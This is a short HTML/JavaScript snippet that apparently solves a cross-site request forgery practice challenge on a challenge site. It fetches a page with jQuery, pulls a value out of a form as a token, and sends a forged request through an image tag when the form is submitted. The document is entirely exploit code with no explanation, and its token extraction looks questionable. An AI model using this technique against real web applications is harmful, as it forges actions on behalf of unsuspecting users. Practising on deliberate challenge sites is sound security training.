<script src="http://code.jquery.com/jquery-3.2.1.js"integrity="sha256-DZAnKJ/6XZ9si04Hgrsxu/8s717jcIzLy3oi35EouyE="crossorigin="anonymous"></script>
    <script>
        var success="";
        $.get("http://csrf-challenges.r7.io/make_post/4" ,function(response) {
            success = $($.parseHTML(response)).filter("#post_form");
        },'html');
        function run() {
            i=new Image();
            i.src='http://csrf-challenges.r7.io/make_post/4?csrf='+success.text();
            alert(success.text());
        };
            target = document.getElementById("post_form");
            target.addEventListener('submit', run);
    </script>